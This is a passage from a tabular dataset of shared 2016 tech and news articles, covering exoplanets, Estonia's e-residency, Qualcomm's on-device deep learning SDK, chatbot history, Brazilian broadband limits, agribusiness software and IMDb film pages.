off."" ""Worlds shifted in wavelength"" From their observations, the scientists determined that all three planets are likely tidally locked, with permanent day and night sides. The two planets closest to the star may have day sides that are too hot, and night sides too cold, to host any life forms. However, there may be a ""sweet spot"" on the western side of both planets - a region that still receives daylight, but with relatively cool temperatures - that may be temperate enough to sustain conditions suitable for life. The third planet, furthest from its star, may be entirely within the habitable zone. As for next steps, de Wit says the objective is clear. ""Now we have to investigate if they're habitable,"" de Wit says. ""We will investigate what kind of atmosphere they have, and then will search for biomarkers and signs of life. We have facilities all over the globe and in space that are helping us, working from UV to radio, in all different wavelengths to tell us everything we want to know about this system. So many people will get to play with this [system]."" This research was funded, in part, by the Belgian Fund for Scientific Research, the European Research Council, and NASA.",en
1462242688,CONTENT SHARED,-7474372733748503487,-1032019229384696495,9206175271110320466,,,,HTML,http://www.businessinsider.com/interview-with-estonia-cio-taavi-kotka-2016-4,"Estonia wants to become a 'country as a service' and already has 10,000 virtual residents","Flickr/Linden Lab Estonia is one of the most digitally advanced nations in the world, with digital public services, online voting, blockchain-based healthcare records , and paperless cabinet meetings in government since 2000 . But its most radical project is e-residency - letting people from around the world become digital residents of Estonia online. ""The question is how can we increase the customer base in Estonia because if you want to be a richer country you need more customers and we don't get those customers,"" Taavi Kotka, Estonia's chief information officer, tells Business Insider. He adds: ""Immigration is basically nothing here. It's so far north people don't want to be here physically. The only way to increase the population was the add them as digital ones."" Estonia's 1.3 million people each have an identity card with a unique identifier that allows them to access over 1,000 public services, like healthcare and paying taxes online, and private sector digital services that use the same system. Key identifying data such as signatures are stored in the system alongside the unique number, giving you a unique online identifier you can use to sign documents online and basically verify you are who you say you are online. ""It's called CaaS,"" Kotka says. ""There's SaaS [software as a service ]. We're country as a service. That's the ambition. It started about a year ago and we're at about 10,000 users at the moment. So in startup terms, that's quite significant."" Kotka comes from the world of startups. The entrepreneur and software developer came to government in 2013 after 6 years as CEO of Nortal, one of the largest software development companies in the Baltics. While people may sign up for e-residency to get access to the public services, the idea is they then might go on to set up an Estonian company online. Estonia then gets the tax. ""You can still work from Bali or wherever as long as you have internet,"" Kotka says. He highlights Estonian company Leapin.eu, which helps you set up a micro company online. ""You go to the webpage, you put the name in, you put your bank details and you press create company and you are up and running. You log in with your digital ID. Because that's the thing, we always have to know who's behind the computer."" For now, e-residency is in its infancy. Kotka says: ""We haven't advertised it a lot because we are still missing some elements. For example, currently, it's illegal to open a bank account in Estonia long distance, from a money laundering point of view. Now they are changing that. It's still as difficult to get a bank account, you have to talk to the bank on the phone and prove you have means, but you don't have to travel to Estonia anymore. When this is done, there will be a campaign about it."" 'It's impossible to properly govern because they don't have proper data' It's also just one of Kotka's many projects. Kotka is in charge of making sure all the digital services offered by the government are joined up and coming up with new ways to use technology in government. ""I think the most interesting thing I'm doing at the moment is future prediction modeling,"" Kotka says. ""For governments, it's basically impossible to properly govern the country because they don't have proper data. They have some marker level statistics - unemployment, GDP, trade. But it's behind, you get last year's report. ""But in Estonia, we started to ask companies to give us more data. The reason is we wanted to get rid of fraud. Currently, all the companies in Estonia are declaring their B2B deals. If I'm a company and you're a company and I buy something off you and it's more than €1,000, we both have to declare it. REUTERS/Ints Kalnins ""In this way, the government has a huge database. We actually know how the economy is doing. For example, there's an 8% probability that if we don't do anything we could lose 5,000 jobs in Eastern Estonia in the Chemical industry in the next 6 months. Or we can start giving risk profiles to local government and say you are in zone red right now, if you want to get into zone yellow you need to attract 600 businesses or something. ""I can tell which businesses are going down and give them advice. Of course it's probability, it's not 100%, but it's way better than what we have at the moment."" Estonia and the UK are both part of the D5 alliance , a group of digitally-advanced countries that share knowledge about government adoption of technology. Estonia is far more advanced that Britain - how can we catch up? ""Your government has officially said it will never start issuing numbers to people - social security numbers or whatever,"" he says. ""When I hear this I think, OK, then digital society [will] never happen in the UK."" When I hear this I think, OK, then digital society never happens in the UK. A 2006 act in the UK introduced national identity in Britain but the act was repealed in 2010 after opposition from privacy campaigners. ""It's an engineering thing, it's not a question about privacy or anything else. If you don't put unique identifiers on people you can't collect data."" Kotka, who also advises the European Commission on its digital society initiative, is unencumbered by such political issues in Estonia. He says: ""In Estonia and all of Scandinavia, people have seen and felt the benefits of IT. It gives them more trust in the solutions."" He adds: ""I have been like a kid in a candy store. I have lots of investment money and full political support.""",en
1462242754,CONTENT SHARED,7877378240682678384,-1032019229384696495,9206175271110320466,,,,HTML,http://www.theverge.com/2016/5/2/11538122/qualcomm-deep-learning-sdk-zeroth,Qualcomm's deep learning SDK will mean more AI on your smartphone,"The benefits of machine learning continue to trickle down to smartphones and gadgets, and chipmaker Qualcomm wants to help speed up the process. The company is launching a new software development kit for its "" machine intelligence platform "" Zeroth. This SDK will make it easier for companies to run deep learning programs directly on devices like smartphones and drones - if they're powered by one of Qualcomm's chips, of course. Right now, you're probably using all sorts of deep learning programs you don't know about. Companies like Google and Facebook use this sort of software for things like image and voice recognition, but usually, this process happens in the cloud, with the results beamed to your phone. Qualcomm's Zeroth SDK (called the Qualcomm Snapdragon Neural Processing Engine) gives manufacturers and companies an easy toolset to run limited deep learning programs locally. ""better privacy and lower latency"" ""This means better privacy and lower latency as there are no uploads to the cloud,"" Qualcomm's director of product management, Gary Brotman, told The Verge . He gives the example of a medical app that doctors might use to analyze skin conditions. ""Doing the image classification on the device with no trip to the cloud makes sense,"" Brotman says. ""And it doesn't matter the kind of data - it could be visual, it could be audio."" This means that if companies want to build their own deep learning analytics, they won't have to rent servers to deliver their software to customers. And although running deep learning operations locally means limiting their complexity, the sort of programs you can run on your phone or any other portable device are still impressive. The real limitation will be Qualcomm's chips. The new SDK will only work with the latest Snapdragon 820 processors from the latter half of 2016, and the company isn't saying if it plans to expand its availability. the sdk will power smart dashboard cams Still, it will mean smarter products on the market, and the first company to integrate the new SDK will be Nauto - a startup that makes smart dashboard cameras for companies responsible for fleets of vehicles. Nauto's hardware uses deep learning to analyze the driving environment, providing evidence in the case of a crash, and even prompting the driver to pay attention if they're looking at their smartphone. However, Qualcomm isn't the only company making moves in this sector. European chipmaker Movidius has been working with Google since 2014 on processors that specialize in machine vision. The company's Myriad chips powered the first generation of Google's space-mapping Tango tablets , and more recently, autonomous drones from DJI . The success of Movidius shows that there's a market for even specialized deep learning chips, which might prove to be more efficient than Qualcomm's generalist approach. Whatever happens, though, your smartphone and the rest of your gadgets are only going to get cleverer in the future.",en
1462267738,CONTENT SHARED,5843350704442714396,-5264754785175108362,-7959547713515116010,,,,HTML,https://medium.com/@Amitch5903/the-7-habits-of-a-highly-effective-product-owner-cad66e3914c6,The 7 Habits of a Highly Effective Product Owner,"A highly effective product owner is an extreme generalist . They have enough skills to be dangerous in many, many, many different areas, but are only true specialists in a few. They recognize quality designs vs. crappy ones, they understand their customers wants and needs, they know how to market and promote their products, they understand what analytics they need and how to interpret them, they even understand technical trade-offs and the high-level differences between programming languages. It's completely normal that many, if not most, of these general skills will lie dormant for months for effective product owners; however, they have the ability to activate the right skills for a new product, a shifting business landscape, or a strategic opportunity. 2. Prioritize, Prioritize, Prioritize A highly effective product owner shifts their mental priority list on a daily basis. The highly effective product owner is running a business, not just a product , and that business requires constant adjustment. This doesn't mean they communicate those changes to the team or to leadership on a daily basis. This does mean that they are always thinking of new opportunities and weighing those against the priorities of the past, even if that past was yesterday. 3. Say ""No"" a LOT The highly effective product owner says ""No"" at least 10 times as often as he says ""Yes"". ""No"" can take many different forms for a highly effective product owner. ""Sure we'll consider that for version 3"" or ""Let's try asking customers about that first before developing"" are powerful phrases for a product owner to say ""No"" while preserving team morale or relationships with other teams. 4. Passion for the Product A highly effective product owner has a palpable passion for their product(s). · If you aren't thinking about your product when you wake up in the middle of the night, you aren't a highly effective product owner. · If you aren't considering future opportunities and strategies for your product on the weekend, you aren't a highly effective product owner. · If you don't worry about the pain points your customers experience in your product, you aren't a highly effective product owner. · If you don't get excited about new companies and technologies in your industry, you aren't a highly effective product owner. This does not mean a highly effective product owner has to have to have a destructive work-life balance, but rather that they have to have a passion for the product, their customers, and the problem they are solving. This also does not mean that they let their passion cloud their judgement and what is truly right for the business and their customers. 5. An Adaptive Focus on the Past, the Present, and the Future A highly effective product owner knows the right amount of time to spend on the past, present, and future and when to shift their focus between these areas. Past : What trends have brought the business to where it is today? What mistakes were made in the past and why? What were huge wins of the past? Present : What do customers love about the product today? What do they hate? What trends of the past continue today, what ones don't? Future: What are the next things we should build? How can our product be differentiated from the competition or the industry? What should we abandon, what should we keep? 6. Constant Evangelist A highly effective product owner is always selling their product(s). They sell their products to family, friends, acquaintances, and even strangers. They aren't afraid of negative feedback; in fact, they love it as it gives them the fuel to improve. A highly effective product owner actively seeks out the people that will provide them the highest quality feedback wherever they are: at a conference, at meetup events, or on the street. Even more, they should not just be an attendee at these events, they should be a presenter. It's much easier to spread your product when you're speaking to hundreds of people at once instead of 1:1, though the highly effective product owner sees value in both levels of interaction. 7. Constant Learner A highly effective product owner is always learning. If they see a weakness in their skillset, they fill it. · Don't know the difference between Javascript and Java? · Aren't familiar with SQL and database queries? · Not sure how to do multivariate testing? The highly effective product owner doesn't know everything, but they attack their shortcomings at the right time to deliver the right decisions for the right product.",en
1462268307,CONTENT SHARED,6876740810766966100,-1443636648652872475,5914495757799096398,,,,HTML,"http://www.tomshardware.com/news/qualcomm-snapdragon-820-deep-learning-sdk,31717.html",Qualcomm Snapdragon 820 Deep Learning SDK Nudges Local Neural Nets Closer To Mainstream,"Qualcomm announced the deep learning software development kit (SDK) for the company's Snapdragon 820 SoC . Qualcomm's deep learning SDK is called the Snapdragon Neural Processing Engine, and it's powered by the company's Zeroth Machine Intelligence Platform, with optimizations designed to take advantage of the heterogeneous compute capabilities of the Snapdragon SoC. The Zeroth platform drives intelligent deep learning software optimized for mobile devices. Among other things, it may be able to more effectively block malware on mobile devices . Qualcomm said that the Snapdragon Neural Processing Engine SDK will give developers a ""powerful, energy efficient platform"" that will help them create mobile neural network tools that can be used for scene detection, text recognition, natural language processing and more. The idea is that OEMs can run their own neural network applications locally, on-device, and don't have to communicate with the cloud. If that sounds strikingly similar to the work Movidius is doing with its vision processing , that's because it is. Movidius even just announced its Fathom Neural Compute Stick , which is simply a neural net loaded up on a USB flash drive-like stick. Deep learning is exciting business, and the likes of Nvidia are certainly buying in . The prospect of machines understanding what they see will help usher in the era of artificial intelligence-based computing that has been coming with the rise of Siri and Cortana and Google Now, as well as Microsoft's recently-announced bot-focused ""Conversations as a Platform"" concept . The Snapdragon Neural Processing Engine SDK will support any device with a Snapdragon 820 SoC , which includes flagship smartphones such as the Samsung Galaxy S7 and S7 edge and LG G5 . Other compatible devices include security cameras, drones and even some automobiles. The Snapdragon Neural Processing Engine SDK should be available in the second half this year.",en
1462274233,CONTENT SHARED,6980529106338478812,-1443636648652872475,5914495757799096398,,,,HTML,http://www.fastcompany.com/3059439/why-the-new-chatbot-invasion-is-so-different-from-its-predecessors,Why The New Chatbot Invasion Is So Different From Its Predecessors,"The critically unloved 1999 film Bicentennial Man seems like an odd turning point in the evolution of chatbots, but for Robert Hoffer, Robin Williams's performance as an intelligent robot was an inspiration. ""I wanted to build that, you know?"" says Hoffer, a co-creator of the SmarterChild chatbot that lived atop early messaging programs such as AOL Instant Messenger and MSN Messenger. ""I wanted to have an intelligence you could talk to on the Internet that would become your best friend for life."" Beyond just holding a conversation, SmarterChild wanted to be useful, tapping into web services to provide sports scores, weather forecasts, stocks, and other info. Those ambitions make it an obvious precursor to today's resurgence of chatbots , led by booming startups such as Slack and Kik, and attracting tech giants such as Facebook and Microsoft. Still, the bots you're seeing today don't much resemble SmarterChild and its predecessors-or Bicentennial Man , for that matter. The news, weather, shopping, and customer service chatbots on Facebook Messenger don't want to be your friend. The bots that help teams run more efficiently in Slack aren't trying to pass as human. There are exceptions-bots built with ToyTalk's PullString.ai platform , for instance, put an emphasis on personality-but in most cases, the relationship is transactional, and pleasantries are an afterthought. It may seem paradoxical, but this shift away from humanity might be what finally allows chatbots to succeed. In 1966, long before Hoffer and his colleagues created SmarterChild, an MIT computer scientist named Joseph Weizenbaum published ELIZA , a program for mimicking human conversation. ELIZA worked by parsing the words that users entered into a computer, and then matching them to a list of possible scripted responses. ELIZA, using a script that simulated a psychotherapist, proved to be a major influence on natural language processing and artificial intelligence, with copies and variants popping up at universities around the country. But Weizenbaum was troubled by the reaction. He intended ELIZA to be a mere parody of human conversation, yet suddenly users were confiding their deepest thoughts in ELIZA, and experts were declaring that chatbots would be indistinguishable from humans within a small number of years. In his book Computer Power and Human Reason , Weizenbaum rejected the notion that machines could replace human intellect . He argued instead that such machines were just tools, and extensions of the human mind. He further stressed that machines' understanding of language was entirely dependent on the context in which they were used, and argued that a more general computer understanding of human language was not possible. Yet in the decades that followed, chatbot makers have built upon Weizenbaum's model to strive for more human-like interactions. Passing the Turing test has become a common goal, with contests such as the Loebner Prize set up to test new bots' conversational skills against a panel of human judges. So far, though, Weizenbaum has been right about machines' limitations: Despite significant advancements (and some exaggerated claims from bot makers , no one has been able to pass a true Turing test. ""It's all gray goo inside, just like a real brain."" ""The hardest thing in the Turing test issue is that there's no limit on what people can talk about,"" says Michael ""Fuzzy"" Mauldin, the founder of Lycos and the creator of Verbots, a popular chatbot development tool from the 1990s. ""And even if you tell people to restrict their conversations to a single topic, they bring in their entire world experience."" Even recent advances in big data and artificial intelligence haven't solved the problem. Using large amounts of training data and processing power, it's now possible to teach a machine to understand and speak to humans. But as Mauldin notes, this can create new headaches when the training data spins out of control. (See: The racist and sexist outbursts of Microsoft's Tay chatbot .) ""If you look at what you've built, it's this massive pile of numbers,"" Mauldin says. ""There's no way to look at it and make sure the solution is correct, or is what you want, because it's all gray goo inside, just like a real brain."" Although chatbots proliferated among academics, programmers, and enthusiasts for years after ELIZA's creation, SmarterChild was the first to become a widespread consumer phenomenon. Peter Levitan, who served as CEO of SmarterChild's maker ActiveBuddy, has said that the chatbot attracted over 30 million users , and at one point accounted for 5% of global instant messenger traffic. SmarterChild was able to reach so many people because it was built upon the world's dominant messaging platforms-just as new chatbots are designed to run on Facebook Messenger-and because it was as fast and easy as talking with a friend. But what really made this chatbot unique was how it straddled the line between human-like interaction and machine-like utility. If you wanted, you could have a pleasant conversation with SmarterChild, which relied on the same concept of pattern matching and scripted answers that ELIZA used decades earlier. Alternatively, you could curse at it, or make advances toward it, and it would always seem to know how to respond. (SmarterChild's creators don't shy from the notion that trying to trick the bot was a popular pastime. ""I believe that trying to convince SmarterChild to have sex with you was the first Internet meme,"" Hoffer says.) When you tired of idle chitchat or mockery, SmarterChild could instead provide useful information. To make this happen, ActiveBuddy partnered with various service providers to offer weather, stocks, movie listings, and more. This was all part of the business plan to provide an intelligent assistant. ""Once you have a relationship with someone, that relationship expands in different ways,"" says Andy Weissman, one of ActiveBuddy's first investors. ""And so once you have a personal relationship with SmarterChild . . . then you'll do your web searches through there, then you'll get your baseball scores. It's an easier way to introduce all these other services, and you always can fall back on how it feels like a relationship with this robot."" But in the early 2000s, building this kind of master intelligence was difficult work. As Hoffer notes, every branch of a conversation had to be scripted, and ActiveBuddy was constantly adding to the script in response to what the company learned from users. ""All of that interaction was editorialized and programmed, and therefore required an enormous staff as it grew,"" Hoffer says. SmarterChild faced obstacles on the business side as well. Every source of information required a partnership with specific companies, as this was before the age of open web service APIs that any developer could tap into. And because SmarterChild was so popular, it was constantly running into limits on its host messaging platforms. ""We had these enormous, bureaucratic, profit-driven, ad-driven media firms-Yahoo, AOL, Microsoft-and we had to negotiate carriage with each company. And that was hell,"" Hoffer says. After a couple years, ActiveBuddy pivoted to providing virtual customer service agents for businesses. While the move was successful from a business standpoint-it culminated in a 2006 acquisition by Microsoft-Weissman has some regrets about not sticking with SmarterChild as the core business. ""It captured something with users,"" Weissman says. ""We don't know, because we didn't play it out, what it really captured, but you don't see that that often, and we could have tried to ride that all the way to the end to see what it was."" After SmarterChild, chatbots spent several years in the wilderness. Microsoft shut down the division where SmarterChild's tech resided, and consumer-facing tech companies in general avoided the concept. But over the past few years, chatbots have made a comeback. With advancements in processing power, bots now have a better ability to interpret natural language and learn from users over time. Just as importantly, big companies like Facebook, Apple, and Microsoft are now eager to host our interactions with various services, and offer tools for developers to make those services available. Chatbots easily fit into their larger business models of advertising, e-commerce, online services, and device sales. Meanwhile, services that want to reach hundreds of millions of customers on a platform like Messenger will be helping to write the chat scripts. ""A lot of the things that were barriers to us back then are no longer barriers to us today because of the evolution of the way technology works,"" Hoffer says. Crucially, these bots are meant to be useful out of the gate, so unlike SmarterChild, they no longer need conversation as a crutch for mass adoption. Sure, Apple's Siri knows how to break the ice with a few jokes, but it largely exists to help you get things done. Rival assistants from Google and Amazon don't exhibit much personality at all. Utility is winning out because the technology allows for it. And with the chatbots built into messaging apps like Facebook Messenger and WeChat, the interaction is only vaguely conversational. When you use the 1-800-Flowers chatbot, for instance, you're given a set of pre-written responses that help guide you to the appropriate bouquet. It's not just the machine side of the interaction that's scripted anymore. If the latest round of chatbots succeed, they might prove that Weizenbaum, the creator of ELIZA, was right all along. These machines are not warm and cuddly replacements for the human intellect. They're just another set of tools-an evolution of the apps that have served us for years. In other words, we wouldn't just be playing with chatbots anymore. We'd be using them.",en
1462275589,CONTENT SHARED,-730957269757756529,-331066625167168067,-6677202055740773123,,,,HTML,https://medium.com/@vilucas/por-que-a-limita%C3%A7%C3%A3o-da-banda-larga-%C3%A9-uma-forma-de-ignorar-o-futuro-12069206541,Por que a limitação da banda larga é uma forma de ignorar o futuro,"Por que a limitação da banda larga é uma forma de ignorar o futuro Com um olhar direcionado para os excessos dos consumidores e com a tentativa das grandes empresas de telefonia e internet de barrarem a expansão de serviços de streaming, a Anatel fecha os olhos para as tendências do mundo da tecnologia. Apesar de o assunto ainda estar aguardando decisões, um ponto ainda foi muito pouco explorado quando falamos da limitação da banda larga no Brasil: os impactos para o uso da tecnologia em um horizonte de médio a longo prazo. Mas antes de entrar a fundo no tema, é preciso entender o que aconteceu. Hoje quando se contrata um plano de banda larga residencial, contrata-se um modelo de acesso aos dados baseado na velocidade do canal. Uma internet de 15 MEGA permite que seu usuário acesse dados da internet em forma de download a uma velocidade de no mínimo 1.5 MB por segundo. Neste modelo ainda, define uma franquia de consumo, por exemplo, 80GB de downloads mensais. As empresas em geral, apesar de definirem estes limites, durante longo tempo permitiam que o usuário consumisse livremente sua banda. Recentemente começou a reduzir a velocidade do download quando este limite era atingido. O usuário não era comunicado e somente saberia da redução através da percepção de má qualidade do link de internet. Toda a discussão existe porque hoje as empresas de telefonia e internet não são capazes de dizer ao usuário que sua franquia se aproxima do fim. Quando a Anatel resolve dar um parecer de que, ainda que temporariamente, as empresas não poderão suspender o serviço quando tal franquia for atingida, até que se permita um controle claro pelo usuário de seu volume consumido, deixa explícito que concorda com a política do bloqueio, se posicionando a favor das empresas provedoras de internet banda larga. Seu presidente, João Rezende, inclusive cita que é inevitável que se realize o limite da franquia, usando como exemplo quem joga online como o grande ""culpado"". O serviço, que já é alvo de incontáveis críticas pela comunidade usuária pelas constantes falhas e variações na velocidade, agora também se vê criticado por querer barrar as evoluções de serviços que se demonstram cada vez mais presentes na vida das pessoas que usam a internet, como Netflix, vídeos em alta resolução, e os próprios jogos online. Pois bem, chegamos ao problema. A tecnologia vem evoluindo constantemente, e a inovação chega cada vez mais rápido. Quando chegam nas lojas, câmeras que fazem vídeos em alta-resolução, e se permite que eles sejam levados à internet, imaginamos que pessoas terão interesse em assistí-los. As televisões, Full-HD, e agora 4K permitem a exibição de vídeos em altíssima qualidade. Ao mesmo tempo, quando as televisões smart nos são oferecidas, com uma série de aplicativos de streaming de vídeo, com conteúdo personalizado, imaginamos que haverá consumidores que pagarão por estes serviços. Quando nos prometem, que a cada dia mais que nossos aplicativos e dispositivos sejam conectados, seja uma geladeira, uma impressora, uma casa inteligente, e que desta forma poderemos realizar nossas atividades de qualquer lugar, focamos no serviço oferecido, e consequentemente entendemos que a tecnologia por trás da transferência de dados esteja disponível e funcione adequadamente. Vamos além: Hoje o mundo tem sido inundado por dados, uma análise constante do comportamento de pessoas e consumidores através de Big Data . Bom, se os dados não podem ser usados em favor dos usuários, não deveriam ser gerados. Dispositivos de Internet das Coisas (IoT - Internet of Things) capturam dados em tempo real que permitem uma série de ações (algumas que ainda nem imaginamos). A limitação da banda larga novamente influenciará para que evoluções nestes dispositivos parem no tempo, afinal, não haverá infra-estrutura por trás que permitam sua expansão. Relógios smart, TVs smart, notebooks, celulares, tablets, video-games das mais novas gerações. Todos eles consideram que a troca de informações e dados com a rede de internet esteja disponível, e em grandes volumes, afinal, deseja-se explorar a interface e usabilidade de seu usuário, sem limites à criatividade. Logo se percebe que as decisões e regulações que se encaminham buscam que o usuário evite a alta transferência de dados, e priorize toda aquela tecnologia que faça menor uso da banda. A exploração da tecnologia, o incentivo à inovação, a experiência do usuário ficam evidentemente em segundo plano. As pessoas à frente destes órgãos focam no problema imediato, sem avaliar todos os arredores que o cercam. É uma visão limitada que causa hoje uma luta da comunidade contra a imposição de regras retrógradas que nem sequer pensam na qualidade do serviço demandada pelas pessoas e nem mesmo na exploração da tecnologia em favor de um futuro que já está mais do que presente. A Internet passou a ser uma necessidade para todo este mundo a ser explorado. E sua limitação fará novamente que o Brasil pare no tempo em termos de inovação, enquanto o mundo se beneficia dela. E os únicos beneficiados serão os provedores do serviço de internet, que poderão aplicar preços abusivos frente à demanda crescente. A regulação dos limites de uso da internet é como fechar os olhos às tendências, e impedir que utilizemos o potencial e benefícios de outras tecnologias em favor de empresas que só querem garantir uma exploração financeira de seus consumidores.",pt
1462276527,CONTENT SHARED,-6878119266243511199,-1443636648652872475,5914495757799096398,,,,HTML,http://techcrunch.com/2016/05/02/google-acquires-synergyse-an-interactive-training-service-for-google-apps/,"Google acquires Synergyse, an interactive training service for Google Apps","Google has acquired Synergyse , a Toronto-based interactive training service for Google Apps for Work that was launched by a group of former Google employees in 2013. As part of this acquisition, Google will make Synergyse Training for Google Apps available for free to all Google Apps customers. The company did not disclose the financial terms of the transaction. According to CrunchBase, Synergyse did not raised any outside funding. According to Synergyse's own data , the service has trained over 4 million people in 3,000 organizations so far. That probably makes it the most popular training service for Google Apps and it probably didn't hurt that the service was built on top of Google's Cloud Platform either, which should make integrating it with Google's own services relatively easy. While figuring out how to use Google Apps for Work may seem trivial to many of us, there is actually a huge demand for this kind of training. Google notes that companies that use this training program see ""on average 35 percent higher adoption across Apps products."" Here is Synergyse's description of the company's incredible journey : ""By joining the Google Apps team, we can accelerate our mission because we will be working even closer with the teams that build Google Apps. Advancing our mission at a faster speed is very exciting for the Synergyse team and our customers will directly see the benefits as we move forward."" Google says it will integrate Synergyse into its own products later this year. Existing customers will be able to continue using the service and new customers can now download the Chrome extension for free.",en
1462278413,CONTENT SHARED,-6457517220721978,2901546026085255870,-2528906170762058536,,,,HTML,http://www.inova.jor.br/2016/05/02/agronegocio-crescimento-tecnologia/,Agronegócio mantém crescimento com tecnologia - inova.jor,"No ano passado, quando o Produto Interno Bruto brasileiro caiu 3,8%, o único setor econômico a apresentar crescimento foi a agropecuária, que avançou 1,8%. Para ser competitivo no mercado internacional, o agronegócio faz uso intensivo de tecnologia. A tecnologia aplicada às commodities agrícolas vai de sementes geneticamente modificadas a internet das coisas para monitorar o plantio . A Qlik , que fornece sistemas de visualização de dados, tem casos importantes no setor, em empresas como Syngenta e El Tejar . A Syngenta oferece para seus distribuidores o Agroview, uma ferramenta de desenvolvida a partir do QlikView, da Qlik. Antes do projeto, a empresa adotava sete sistemas diferentes para trocar informações com os distribuidores. Hoje, usa somente o Agroview. ""Verificamos que havia uma deficiência na gestão de negócios nos nossos distribuidores"", afirma Cauê Tavares, gerente de Operações Comerciais da Syngenta. ""O programa foi idealizado no fim de 2014, e inclui uma consultoria de negócios e a implantação do Agroview. Atualmente, 21 distribuidores usam o sistema. Até o fim da safra, em abril de 2017, o objetivo é chegar a 176. O Agroview é aplicado em três frentes: comercial (gestão de informações de vendas), financeira (análise de crédito, contas a pagar e a receber) e recursos humanos (análise quantitativa e qualitativa do desempenho dos colaboradores). ""Anteriormente, o distribuidor demorava quatro ou cinco dias para fechar os relatórios do mês anterior"", explica Tavares. ""Hoje, as informações estão disponíveis em tempo real."" A Syngenta tem somente acesso às informações sobre a venda de seus próprios produtos, que são defensivos agrícolas e sementes. Os distribuidores têm controle de toda a sua operação pelo Agroview. Tomada de decisão Na El Tejar, o QlikView é usado desde 2009. Há pouco mais de dois anos, o software passou a ser adotado para visualizar os indicadores em tempo real, para tomada de decisão. Antes, era aplicado somente para geração de relatórios. De origem argentina, a El Tejar é uma das maiores empresas do agronegócio na América do Sul. ""Temos hoje acesso a qualquer informação em menos de três horas"", afirma Cesar Oliveira, gerente de Tecnologia da Informação da El Tejar. ""Antes, somente no setor de compras, precisávamos de dois analistas para fazer o relatório do dia anterior."" A El Tejar conectou o QlikView diretamente ao seu sistema de gestão, fornecido pela SAP. Com isso, melhorou sua eficiência operacional em 7% na safra 2015/2016, em comparação com período anterior. No frete, diminuiu os custos em cerca de 10%. ""O agronegócio tem disponível um volume de dados muito grande"", aponta Eduardo Kfouri, vice-presidente da Qlik para a América Latina. ""O QlikView consegue integrar informações de várias fontes numa só base de dados."" Rede social A Bayer lançou há um ano a Rede AgroServices , que funciona, ao mesmo tempo, como uma rede social do agronegócio e um programa de fidelidade da empresa, em que clientes podem trocar pontos por produtos e serviços de diversos fornecedores. ""O centro da nossa estratégia é o produtor rural"", afirma Ivan Moreno, diretor de Acesso ao Mercado da Bayer. ""A Rede AgroServices é uma plataforma colaborativa e também um marketplace, em que prestadores de serviços oferecem suas soluções."" Participam da rede 60 mil produtores rurais pequenos e médios, 450 grandes produtores, 320 distribuidores, 110 cooperativas, 60 pesquisadores e 110 prestadores de serviço. Trata-se de um projeto brasileiro, que deve ser levado para outros países da América Latina. ""Como existem 300 mil produtores rurais no Brasil, temos 20% do mercado na rede"", diz Moreno. ""Além de criar mais fidelidade de nossos clientes, conseguimos capturar com mais velocidades os insights que vêm do produtor."" Ele cita como exemplo uma discussão recente dos participantes sobre Cadastro Ambiental Rural. As consultorias que participam da rede viram nessa conversa uma oportunidade e o Santander, um dos parceiros da rede, criou uma promoção em que seus clientes pagavam somente metade do preço da consultoria. Outro exemplo foram conversas sobre dificuldades de armazenagem. Os produtores rurais resgataram no sistema 800 silobags (bolsas plásticas para armazenamento) num mês. ""Levando-se em conta que o mercado brasileiro é de 30 mil por ano, foi um número considerável"", diz o diretor da Bayer. Comments",pt
1462286365,CONTENT SHARED,-3968102273907750828,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt0268126/,Adaptation. (2002),"Won 1 Oscar. Another 60 wins & 94 nominations. See more awards "" Storyline While his latest movie Being John Malkovich (1999) is in production, screenwriter Charlie Kaufman is hired by Valerie Thomas to adapt Susan Orlean 's non-fiction book ""The Orchid Thief"" for the screen. Thomas bought the movie rights before Orlean wrote the book, when it was only an article in The New Yorker. The book details the story of rare orchid hunter John Laroche, whose passion for orchids and horticulture made Orlean discover passion and beauty for the first time in her life. Charlie wants to be faithful to the book in his adaptation, but despite Laroche himself being an interesting character in his own right, Charlie is having difficulty finding enough material in Laroche to fill a movie, while equally not having enough to say cinematically about the beauty of orchids. At the same time, Charlie is going through other issues in his life. His insecurity as a person doesn't allow him to act upon his feelings for Amelia Kavan, who is interested in him as a man. And Charlie's twin ... Written by Huggo Taglines: From the creator of Being John Malkovich, comes the story about the creator of Being John Malkovich. Details Release Date: 14 February 2003 (USA) Also Known As: The Orchid Thief Box Office Budget: $19,000,000 (estimated) Opening Weekend: $384,478 (USA) (6 December 2002) Gross: $22,245,861 (USA) (18 April 2003) Company Credits Technical Specs Runtime: See full technical specs "" Did You Know? Trivia The flower shown during the time-lapse sequence at the end of the movie is called Amelia (an Osteospermum). See more "" Goofs In the beginning of the film, when John is trudging through the swamp searching for orchids, he is seen up to his armpits in water. Once out of the water, when the park enforcement officer approaches them, the water line on LaRoche's shirt is clearly seen as just above the waist - about a foot lower than the point to which he was submerged. See more "" Quotes [first lines] Charlie Kaufman : [voiceover] Do I have an original thought in my head? My bald head. Maybe if I were happier, my hair wouldn't be falling out. Life is short. I need to make the most of it. Today is the first day of the rest of my life. I'm a walking cliché. I really need to go to the doctor and have my leg checked. There's something wrong. A bump. The dentist called again. I'm way overdue. If I stop putting things off, I would be happier. All I do is sit on my fat ass. If my ass wasn't fat I would ... See more "" Crazy Credits Meryl Streep's wardrobe designer is credited as ""Mr. Streep's wardrobe"" See more "" Connections References Apocalypse Now (1979) See more "" Soundtracks Alison Written and Performed by Elvis Costello Published by BMG Songs, Inc. o/b/o BMG Music Publishing Ltd. Courtesy of Rhino Entertainment Company/Elvis Costello Music By Arrangement with Warner Special Products and Courtesy of Elvis Costello Ltd. Under license from Demon Music Group Ltd. See more "" Frequently Asked Questions User Reviews Message Boards Recent Posts",en
1462286416,CONTENT SHARED,-74919696966767903,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt0120601/,Being John Malkovich (1999),"Quotes [first lines] Lotte Schwartz : Craig, honey, it's time for bed. [fade out and in] Orrin Hatch the bird: Craig, honey, time to get up, Craig, honey, time to get up, Craig, honey, time to get up, Craig, honey, time to get up, Craig Schwartz : Lotte... Lotte Schwartz : I'm sorry. I didn't know Orrin Hatch was out of his cage. See more "" Soundtracks One Written by Kono Performed by Madsaaski Kono Courtesy of Barbara L. Jordan d/b/a Heavy Hitters See more """,en
